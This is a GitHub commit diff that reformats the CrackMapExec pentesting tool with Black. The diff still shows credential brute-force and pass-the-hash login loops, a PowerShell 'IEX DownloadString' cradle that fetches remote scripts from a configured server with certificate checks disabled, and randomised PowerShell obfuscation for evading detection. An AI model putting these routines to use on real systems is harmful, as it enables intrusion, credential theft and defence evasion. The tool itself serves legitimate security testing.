Merge pull request #37 from mpgn/blackv2

black v2 formating #28
main
mpgn 2023-05-09 16:18:19 +02:00 committed by GitHub
commit 59afbf328e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
116 changed files with 1225 additions and 4193 deletions

View File

@ -1,11 +0,0 @@
name: Black-action
on: [push, pull_request]
jobs:
linter_name:
name: runner / black formatter
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- uses: rickstaa/action-black@v1
with:
black_args: ". --check"

View File

@ -52,9 +52,7 @@ def build_cme():
[shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
env = Environment(
built_at=datetime.utcfromtimestamp(int(time.time())).strftime(
"%Y-%m-%d %H:%M:%S"
),
built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"),
entry_point="cme.crackmapexec:main",
script=None,
compile_pyc=False,
@ -74,9 +72,7 @@ def build_cme():
def build_cmedb():
print("building CMEDB")
env = Environment(
built_at=datetime.utcfromtimestamp(int(time.time())).strftime(
"%Y-%m-%d %H:%M:%S"
),
built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"),
entry_point="cme.cmedb:main",
script=None,
compile_pyc=False,

View File

@ -63,14 +63,10 @@ def gen_cli_args():
)
parser.add_argument("--darrell", action="store_true", help="give Darrell a hand")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument(
"--debug", action="store_true", help="enable debug level information"
)
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display CME version")
subparsers = parser.add_subparsers(
title="protocols", dest="protocol", description="available protocols"
)
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument(
@ -104,17 +100,13 @@ def gen_cli_args():
default=[],
help="password(s) or file(s) containing passwords",
)
std_parser.add_argument(
"-k", "--kerberos", action="store_true", help="Use Kerberos authentication"
)
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument(
"--use-kcache",
action="store_true",
help="Use Kerberos authentication from ccache file (KRB5CCNAME)",
)
std_parser.add_argument(
"--log", metavar="LOG", help="Export result into a custom file"
)
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument(
"--aesKey",
metavar="AESKEY",
@ -149,9 +141,7 @@ def gen_cli_args():
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument(
"-M", "--module", action="append", metavar="MODULE", help="module to use"
)
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
module_parser.add_argument(
"-o",
metavar="MODULE_OPTION",
@ -160,9 +150,7 @@ def gen_cli_args():
dest="module_options",
help="module options",
)
module_parser.add_argument(
"-L", "--list-modules", action="store_true", help="list available modules"
)
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument(
"--options",
dest="show_module_options",
@ -197,9 +185,7 @@ def gen_cli_args():
for protocol in protocols.keys():
protocol_object = p_loader.load_protocol(protocols[protocol]["path"])
subparsers = getattr(protocol_object, protocol).proto_args(
subparsers, std_parser, module_parser
)
subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser)
if len(sys.argv) == 1:
parser.print_help()

View File

@ -27,9 +27,7 @@ class UserExitedProto(Exception):
def create_db_engine(db_path):
db_engine = create_engine(
f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True
)
db_engine = create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
return db_engine
@ -135,9 +133,7 @@ class DatabaseNavigator(cmd.Cmd):
# Users
if command == "creds":
if len(line) < 3:
print(
"[-] invalid arguments, export creds <simple|detailed> <filename>"
)
print("[-] invalid arguments, export creds <simple|detailed> <filename>")
return
filename = line[2]
@ -177,9 +173,7 @@ class DatabaseNavigator(cmd.Cmd):
# Hosts
elif command == "hosts":
if len(line) < 3:
print(
"[-] invalid arguments, export hosts <simple|detailed|signing> <filename>"
)
print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
return
csv_header_simple = (
@ -226,9 +220,7 @@ class DatabaseNavigator(cmd.Cmd):
# Shares
elif command == "shares":
if len(line) < 3:
print(
"[-] invalid arguments, export shares <simple|detailed> <filename>"
)
print("[-] invalid arguments, export shares <simple|detailed> <filename>")
return
shares = self.db.get_shares()
@ -262,9 +254,7 @@ class DatabaseNavigator(cmd.Cmd):
# Local Admin
elif command == "local_admins":
if len(line) < 3:
print(
"[-] invalid arguments, export local_admins <simple|detailed> <filename>"
)
print("[-] invalid arguments, export local_admins <simple|detailed> <filename>")
return
# These values don't change between simple and detailed
@ -293,9 +283,7 @@ class DatabaseNavigator(cmd.Cmd):
print("[+] Local Admins exported")
elif command == "dpapi":
if len(line) < 3:
print(
"[-] invalid arguments, export dpapi <simple|detailed> <filename>"
)
print("[-] invalid arguments, export dpapi <simple|detailed> <filename>")
return
# These values don't change between simple and detailed
@ -341,9 +329,7 @@ class DatabaseNavigator(cmd.Cmd):
filename = line[2]
write_list(filename, writable_keys)
else:
print(
"[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi"
)
print("[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi")
@staticmethod
def help_export():
@ -391,11 +377,7 @@ class DatabaseNavigator(cmd.Cmd):
creds = r.json()
for cred in creds["creds"]:
if (
cred["credtype"] == "token"
or cred["credtype"] == "krbtgt"
or cred["username"].endswith("$")
):
if cred["credtype"] == "token" or cred["credtype"] == "krbtgt" or cred["username"].endswith("$"):
continue
self.db.add_credential(
cred["credtype"],
@ -449,9 +431,7 @@ class CMEDBMenu(cmd.Cmd):
self.config.set("CME", "last_used_db", proto)
self.write_configfile()
try:
proto_menu = getattr(db_nav_object, "navigator")(
self, getattr(db_object, "database")(self.conn), proto
)
proto_menu = getattr(db_nav_object, "navigator")(self, getattr(db_object, "database")(self.conn), proto)
proto_menu.cmdloop()
except UserExitedProto:
pass
@ -553,9 +533,7 @@ def initialize_db(logger):
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute(
"PRAGMA journal_mode = OFF"
) # could try setting to PERSIST if DB corruption starts occurring
c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring
c.execute("PRAGMA foreign_keys = 1")
# set a small timeout (5s) so if another thread is writing to the database, the entire program doesn't crash
c.execute("PRAGMA busy_timeout = 5000")

View File

@ -22,24 +22,10 @@ user_failed_logins = {}
def gethost_addrinfo(hostname):
try:
for res in getaddrinfo(
hostname,
None,
AF_INET6,
SOCK_DGRAM,
IPPROTO_IP,
AI_CANONNAME,
):
for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
except socket.gaierror:
for res in getaddrinfo(
hostname,
None,
AF_INET,
SOCK_DGRAM,
IPPROTO_IP,
AI_CANONNAME,
):
for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
if canonname == "":
return sa[0]
@ -96,9 +82,7 @@ class connection(object):
try:
self.proto_flow()
except Exception as e:
self.logger.exception(
f"Exception while calling proto_flow() on target {self.host}: {e}"
)
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
@staticmethod
def proto_args(std_parser, module_parser):
@ -174,9 +158,7 @@ class connection(object):
context.localip = self.local_ip
if hasattr(module, "on_request") or hasattr(module, "has_response"):
self.logger.debug(
f"Module {module.name} has on_request or has_response methods"
)
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
self.server.connection = self
self.server.context.localip = self.local_ip
@ -188,10 +170,7 @@ class connection(object):
self.logger.debug(f"Module {module.name} has on_admin_login method")
module.on_admin_login(context, self)
if (
not hasattr(module, "on_request")
and not hasattr(module, "has_response")
) and hasattr(module, "on_shutdown"):
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
self.logger.debug(f"Module {module.name} has on_shutdown method")
module.on_shutdown(context, self)
@ -237,9 +216,7 @@ class connection(object):
c_id, username, password, cred_type = cred
if cred_type == "key":
key_data = self.db.get_keys(cred_id=cred_id)[0].data
if self.plaintext_login(
username, password, private_key=key_data
):
if self.plaintext_login(username, password, private_key=key_data):
return True
else:
# will probably need to add additional checks here for each protocol, but this was initially
@ -262,35 +239,15 @@ class connection(object):
elif self.args.domain:
domain = self.args.domain
if cred_type == "hash" and not self.over_fail_limit(
username
):
if cred_type == "hash" and not self.over_fail_limit(username):
if self.args.kerberos:
if self.kerberos_login(
domain,
username,
"",
password,
"",
self.kdcHost,
False,
):
if self.kerberos_login( domain, username, "", password, "", self.kdcHost, False):
return True
elif self.hash_login(domain, username, password):
return True
elif cred_type == "plaintext" and not self.over_fail_limit(
username
):
elif cred_type == "plaintext" and not self.over_fail_limit(username):
if self.args.kerberos:
if self.kerberos_login(
domain,
username,
password,
"",
"",
self.kdcHost,
False,
):
if self.kerberos_login( domain, username, password, "", "", self.kdcHost, False):
return True
elif self.plaintext_login(domain, username, password):
return True
@ -300,9 +257,7 @@ class connection(object):
with sem:
username = self.args.username[0] if len(self.args.username) else ""
password = self.args.password[0] if len(self.args.password) else ""
self.kerberos_login(
self.domain, username, password, "", "", self.kdcHost, True
)
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
return True
for user in self.args.username:
if isfile(user):
@ -319,71 +274,27 @@ class connection(object):
with open(ntlm_hash, "r") as ntlm_hash_file:
if not self.args.no_bruteforce:
for f_hash in ntlm_hash_file:
if not self.over_fail_limit(
usr.strip()
):
if not self.over_fail_limit(usr.strip()):
if self.args.kerberos:
if self.kerberos_login(
self.domain,
usr.strip(),
"",
f_hash.strip(),
"",
self.kdcHost,
False,
):
if self.kerberos_login(self.domain,usr.strip(),"",f_hash.strip(),"",self.kdcHost,False):
return True
elif self.hash_login(
self.domain,
usr.strip(),
f_hash.strip(),
):
elif self.hash_login( self.domain, usr.strip(), f_hash.strip()):
return True
elif self.args.no_bruteforce:
user_file.seek(
0
) # HACK: this should really not be in the usr for loop
for usr, f_hash in zip(
user_file, ntlm_hash_file
):
if not self.over_fail_limit(
usr.strip()
):
user_file.seek(0) # HACK: this should really not be in the usr for loop
for usr, f_hash in zip(user_file, ntlm_hash_file):
if not self.over_fail_limit(usr.strip()):
if self.args.kerberos:
if self.kerberos_login(
self.domain,
usr.strip(),
"",
f_hash.strip(),
"",
self.kdcHost,
False,
):
if self.kerberos_login( self.domain, usr.strip(), "", f_hash.strip(), "", self.kdcHost, False):
return True
elif self.hash_login(
self.domain,
usr.strip(),
f_hash.strip(),
):
elif self.hash_login( self.domain, usr.strip(), f_hash.strip()):
return True
else: # ntlm_hash is a string
if not self.over_fail_limit(usr.strip()):
if self.args.kerberos:
if self.kerberos_login(
self.domain,
usr.strip(),
"",
ntlm_hash.strip(),
"",
self.kdcHost,
False,
):
if self.kerberos_login( self.domain, usr.strip(), "", ntlm_hash.strip(), "", self.kdcHost, False):
return True
elif self.hash_login(
self.domain,
usr.strip(),
ntlm_hash.strip(),
):
elif self.hash_login( self.domain, usr.strip(), ntlm_hash.strip()):
return True
elif self.args.password:
with sem:
@ -392,89 +303,39 @@ class connection(object):
with open(password, "r") as password_file:
if not self.args.no_bruteforce:
for f_pass in password_file:
if not self.over_fail_limit(
usr.strip()
):
if not self.over_fail_limit(usr.strip()):
if hasattr(self.args, "domain"):
if self.args.kerberos:
if self.kerberos_login(
self.domain,
usr.strip(),
f_pass.strip(),
"",
"",
self.kdcHost,
False,
):
if self.kerberos_login( self.domain, usr.strip(), f_pass.strip(), "", "", self.kdcHost, False):
return True
elif self.plaintext_login(
self.domain,
usr.strip(),
f_pass.strip(),
):
elif self.plaintext_login( self.domain, usr.strip(), f_pass.strip()):
return True
else:
if self.plaintext_login(
usr.strip(),
f_pass.strip(),
):
if self.plaintext_login( usr.strip(), f_pass.strip()):
return True
elif self.args.no_bruteforce:
user_file.seek(
0
) # HACK: this should really not be in the usr for loop
for usr, f_pass in zip(
user_file, password_file
):
if not self.over_fail_limit(
usr.strip()
):
user_file.seek(0) # HACK: this should really not be in the usr for loop
for usr, f_pass in zip(user_file, password_file):
if not self.over_fail_limit(usr.strip()):
if hasattr(self.args, "domain"):
if self.args.kerberos:
if self.kerberos_login(
self.domain,
usr.strip(),
f_pass.strip(),
"",
"",
self.kdcHost,
False,
):
if self.kerberos_login( self.domain, usr.strip(), f_pass.strip(), "", "", self.kdcHost, False):
return True
elif self.plaintext_login(
self.domain,
usr.strip(),
f_pass.strip(),
):
elif self.plaintext_login( self.domain, usr.strip(), f_pass.strip()):
return True
else:
if self.plaintext_login(
usr.strip(),
f_pass.strip(),
):
if self.plaintext_login( usr.strip(), f_pass.strip()):
return True
else: # password is a string
if not self.over_fail_limit(usr.strip()):
if hasattr(self.args, "domain"):
if self.args.kerberos:
if self.kerberos_login(
self.domain,
usr.strip(),
password,
"",
"",
self.kdcHost,
False,
):
if self.kerberos_login( self.domain, usr.strip(), password, "", "", self.kdcHost, False):
return True
elif self.plaintext_login(
self.domain, usr.strip(), password
):
elif self.plaintext_login(self.domain, usr.strip(), password):
return True
else:
if self.plaintext_login(
usr.strip(), password
):
if self.plaintext_login(usr.strip(), password):
return True
else: # user is a string
if hasattr(self.args, "hash") and self.args.hash:
@ -485,36 +346,16 @@ class connection(object):
for f_hash in ntlm_hash_file:
if not self.over_fail_limit(user):
if self.args.kerberos:
if self.kerberos_login(
self.domain,
user,
"",
ntlm_hash.strip(),
"",
self.kdcHost,
False,
):
if self.kerberos_login( self.domain, user, "", ntlm_hash.strip(), "", self.kdcHost, False):
return True
elif self.hash_login(
self.domain, user, f_hash.strip()
):
elif self.hash_login(self.domain, user, f_hash.strip()):
return True
else: # ntlm_hash is a string
if not self.over_fail_limit(user):
if self.args.kerberos:
if self.kerberos_login(
self.domain,
user,
"",
ntlm_hash.strip(),
"",
self.kdcHost,
False,
):
if self.kerberos_login( self.domain, user, "", ntlm_hash.strip(), "", self.kdcHost, False):
return True
elif self.hash_login(
self.domain, user, ntlm_hash.strip()
):
elif self.hash_login(self.domain, user, ntlm_hash.strip()):
return True
elif self.args.password:
with sem:
@ -525,42 +366,20 @@ class connection(object):
if not self.over_fail_limit(user):
if hasattr(self.args, "domain"):
if self.args.kerberos:
if self.kerberos_login(
self.domain,
user,
f_pass.strip(),
"",
"",
self.kdcHost,
False,
):
if self.kerberos_login( self.domain, user, f_pass.strip(), "", "", self.kdcHost, False):
return True
elif self.plaintext_login(
self.domain, user, f_pass.strip()
):
elif self.plaintext_login(self.domain, user, f_pass.strip()):
return True
else:
if self.plaintext_login(
user, f_pass.strip()
):
if self.plaintext_login(user, f_pass.strip()):
return True
else: # password is a string
if not self.over_fail_limit(user):
if hasattr(self.args, "domain"):
if self.args.kerberos:
if self.kerberos_login(
self.domain,
user,
password,
"",
"",
self.kdcHost,
False,
):
if self.kerberos_login( self.domain, user, password, "", "", self.kdcHost, False):
return True
elif self.plaintext_login(
self.domain, user, password
):
elif self.plaintext_login(self.domain, user, password):
return True
else:
if self.plaintext_login(user, password):
@ -569,15 +388,7 @@ class connection(object):
with sem:
for aesKey in self.args.aesKey:
if not self.over_fail_limit(user):
if self.kerberos_login(
self.domain,
user,
"",
"",
aesKey.strip(),
self.kdcHost,
False,
):
if self.kerberos_login( self.domain, user, "", "", aesKey.strip(), self.kdcHost, False):
return True
def mark_pwned(self):

View File

@ -32,16 +32,12 @@ from rich.progress import Progress
try:
import librlers
except:
print(
"Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)"
)
print("Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)")
exit(1)
def create_db_engine(db_path):
db_engine = sqlalchemy.create_engine(
f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True
)
db_engine = sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
return db_engine
@ -61,10 +57,7 @@ async def start_run(protocol_obj, args, db, targets):
total=total,
)
cme_logger.debug(f"Creating thread for {protocol_obj}")
futures = [
executor.submit(protocol_obj, args, db, target)
for target in targets
]
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
for future in as_completed(futures):
current += 1
progress.update(tasks, completed=current)
@ -95,9 +88,7 @@ def main():
cme_logger.debug(f"Passed args: {args}")
if args.darrell:
links = (
open(path_join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines()
)
links = open(path_join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines()
try:
webbrowser.open(random.choice(links))
exit(1)
@ -108,9 +99,7 @@ def main():
if args.protocol == "ssh":
if args.key_file:
if not args.password:
cme_logger.fail(
f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`"
)
cme_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
exit(1)
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
@ -189,9 +178,7 @@ def main():
exit(0)
elif args.module and args.show_module_options:
for module in args.module:
cme_logger.display(
f"{module} module options:\n{modules[module]['options']}"
)
cme_logger.display(f"{module} module options:\n{modules[module]['options']}")
exit(0)
elif args.module:
cme_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
@ -205,12 +192,8 @@ def main():
if not module.opsec_safe:
if ignore_opsec:
cme_logger.debug(
f"ignore_opsec is set in the configuration, skipping prompt"
)
cme_logger.display(
f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded"
)
cme_logger.debug(f"ignore_opsec is set in the configuration, skipping prompt")
cme_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
else:
ans = input(
highlight(
@ -254,17 +237,13 @@ def main():
except Exception as e:
cme_logger.error(f"Error loading module server for {module}: {e}")
cme_logger.debug(
f"proto_object: {protocol_object}, type: {type(protocol_object)}"
)
cme_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
cme_logger.debug(f"proto object dir: {dir(protocol_object)}")
# get currently set modules, otherwise default to empty list
current_modules = getattr(protocol_object, "module", [])
current_modules.append(module)
setattr(protocol_object, "module", current_modules)
cme_logger.debug(
f"proto object module after adding: {protocol_object.module}"
)
cme_logger.debug(f"proto object module after adding: {protocol_object.module}")
if hasattr(args, "ntds") and args.ntds and not args.userntds:
ans = input(

View File

@ -51,9 +51,7 @@ def first_run_setup(logger=cme_logger):
config.get("BloodHound", "bh_enabled")
config.get("CME", "log_mode")
except (NoSectionError, NoOptionError):
logger.display(
"Old configuration file detected, replacing with new version"
)
logger.display("Old configuration file detected, replacing with new version")
default_path = path_join(DATA_PATH, "cme.conf")
shutil.copy(default_path, CME_PATH)

View File

@ -36,24 +36,14 @@ def add_user_bh(user, domain, logger, config):
user_owned = info["username"] + "@" + info["domain"]
account_type = "User"
result = tx.run(
f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c'
)
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
if result.data()[0]["c"].get("owned") in (False, None):
logger.debug(
f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name'
)
result = tx.run(
f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name'
)
logger.highlight(
f"Node {user_owned} successfully set as owned in BloodHound"
)
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
except AuthError as e:
logger.error(
f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid."
)
logger.error(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
return
except ServiceUnavailable as e:
logger.error(f"Neo4J does not seem to be available on {uri}.")

View File

@ -36,11 +36,7 @@ def called_from_cmd_args():
for stack in inspect.stack():
if stack[3] == "print_host_info":
return True
if (
stack[3] == "plaintext_login"
or stack[3] == "hash_login"
or stack[3] == "kerberos_login"
):
if stack[3] == "plaintext_login" or stack[3] == "hash_login" or stack[3] == "kerberos_login":
return True
if stack[3] == "call_cmd_args":
return True

View File

@ -39,17 +39,13 @@ def obfs_ps_script(path_to_script):
with open(obfs_ps_script, "r") as script:
return script.read()
cme_logger.display(
"Performing one-time script obfuscation, go look at some memes cause this can take a bit..."
)
cme_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'"
cme_logger.debug(invoke_obfs_command)
with open(os.devnull, "w") as devnull:
return_code = call(
invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True
)
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
cme_logger.success("Script obfuscated successfully")
@ -65,18 +61,7 @@ def obfs_ps_script(path_to_script):
# strip block comments
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
stripped_code = "\n".join(
[
line
for line in stripped_code.split("\n")
if (
(line.strip() != "")
and (not line.strip().startswith("#"))
and (not line.strip().lower().startswith("write-verbose "))
and (not line.strip().lower().startswith("write-debug "))
)
]
)
stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
return stripped_code
@ -167,18 +152,14 @@ else
break
if obfs_attempts == 4:
cme_logger.error(
f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting."
)
cme_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
obfs_attempts += 1
else:
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
if len(command) > 8191:
cme_logger.error(
f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting."
)
cme_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
return command
@ -221,9 +202,7 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{
)
if context:
return gen_ps_iex_cradle(
context, "Invoke-PSInject.ps1", ps_code, post_back=False
)
return gen_ps_iex_cradle(context, "Invoke-PSInject.ps1", ps_code, post_back=False)
return ps_code
@ -244,9 +223,7 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri
).strip()
elif type(scripts) is list:
launcher = (
"[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
)
launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
for script in scripts:
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(
@ -309,9 +286,7 @@ def invoke_obfuscation(script_string):
random_delimiters.append(i)
# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
random_delimiters = [
choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))
]
random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
# Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters.
delimited_encoded_array = ""
@ -339,35 +314,13 @@ def invoke_obfuscation(script_string):
for delim in random_delimiters:
# Random case 'split' string.
split = "".join(choice([i.upper(), i.lower()]) for i in "Split")
random_delimiters_to_print_for_dash_split += (
"-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "])
)
random_delimiters_to_print_for_dash_split += "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "])
random_delimiters_to_print_for_dash_split = (
random_delimiters_to_print_for_dash_split.strip("\t\n\r")
)
random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip("\t\n\r")
# Randomly select between various conversion syntax options.
random_conversion_syntax = [
"["
+ char_str
+ "]"
+ choice(["", " "])
+ "["
+ integer
+ "]"
+ choice(["", " "])
+ "$_",
"["
+ integer
+ "]"
+ choice(["", " "])
+ "$_"
+ choice(["", " "])
+ choice(["-as", "-As", "-aS", "-AS"])
+ choice(["", " "])
+ "["
+ char_str
+ "]",
"[" + char_str + "]" + choice(["", " "]) + "[" + integer + "]" + choice(["", " "]) + "$_",
"[" + integer + "]" + choice(["", " "]) + "$_" + choice(["", " "]) + choice(["-as", "-As", "-aS", "-AS"]) + choice(["", " "]) + "[" + char_str + "]",
]
random_conversion_syntax = choice(random_conversion_syntax)
@ -387,30 +340,14 @@ def invoke_obfuscation(script_string):
# https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
set_ofs_var_syntax = [
"Set-Item"
+ choice([" " * 1, " " * 2])
+ "'Variable:OFS'"
+ choice([" " * 1, " " * 2])
+ "''",
choice(["Set-Variable", "SV", "SET"])
+ choice([" " * 1, " " * 2])
+ "'OFS'"
+ choice([" " * 1, " " * 2])
+ "''",
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "''",
choice(["Set-Variable", "SV", "SET"]) + choice([" " * 1, " " * 2]) + "'OFS'" + choice([" " * 1, " " * 2]) + "''",
]
set_ofs_var = choice(set_ofs_var_syntax)
set_ofs_var_back_syntax = [
"Set-Item"
+ choice([" " * 1, " " * 2])
+ "'Variable:OFS'"
+ choice([" " * 1, " " * 2])
+ "' '",
"Set-Item"
+ choice([" " * 1, " " * 2])
+ "'Variable:OFS'"
+ choice([" " * 1, " " * 2])
+ "' '",
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
]
set_ofs_var_back = choice(set_ofs_var_back_syntax)
@ -421,114 +358,16 @@ def invoke_obfuscation(script_string):
# Generate the code that will decrypt and execute the payload and randomly select one.
baseScriptArray = [
"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
"("
+ choice(["", " "])
+ "'"
+ delimited_encoded_array
+ "'."
+ split
+ "("
+ choice(["", " "])
+ "'"
+ random_delimiters_to_print
+ "'"
+ choice(["", " "])
+ ")"
+ choice(["", " "])
+ "|"
+ choice(["", " "])
+ for_each_object
+ choice(["", " "])
+ "{"
+ choice(["", " "])
+ "("
+ choice(["", " "])
+ random_conversion_syntax
+ ")"
+ choice(["", " "])
+ "}"
+ choice(["", " "])
+ ")",
"("
+ choice(["", " "])
+ "'"
+ delimited_encoded_array
+ "'"
+ choice(["", " "])
+ random_delimiters_to_print_for_dash_split
+ choice(["", " "])
+ "|"
+ choice(["", " "])
+ for_each_object
+ choice(["", " "])
+ "{"
+ choice(["", " "])
+ "("
+ choice(["", " "])
+ random_conversion_syntax
+ ")"
+ choice(["", " "])
+ "}"
+ choice(["", " "])
+ ")",
"("
+ choice(["", " "])
+ encoded_array
+ choice(["", " "])
+ "|"
+ choice(["", " "])
+ for_each_object
+ choice(["", " "])
+ "{"
+ choice(["", " "])
+ "("
+ choice(["", " "])
+ random_conversion_syntax
+ ")"
+ choice(["", " "])
+ "}"
+ choice(["", " "])
+ ")",
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + encoded_array + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
]
# Generate random JOIN syntax for all above options
new_script_array = [
choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''",
join + choice(["", " "]) + choice(baseScriptArray),
str_join
+ "("
+ choice(["", " "])
+ "''"
+ choice(["", " "])
+ ","
+ choice(["", " "])
+ choice(baseScriptArray)
+ choice(["", " "])
+ ")",
'"'
+ choice(["", " "])
+ "$("
+ choice(["", " "])
+ set_ofs_var
+ choice(["", " "])
+ ")"
+ choice(["", " "])
+ '"'
+ choice(["", " "])
+ "+"
+ choice(["", " "])
+ str_str
+ choice(baseScriptArray)
+ choice(["", " "])
+ "+"
+ '"'
+ choice(["", " "])
+ "$("
+ choice(["", " "])
+ set_ofs_var_back
+ choice(["", " "])
+ ")"
+ choice(["", " "])
+ '"',
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")",
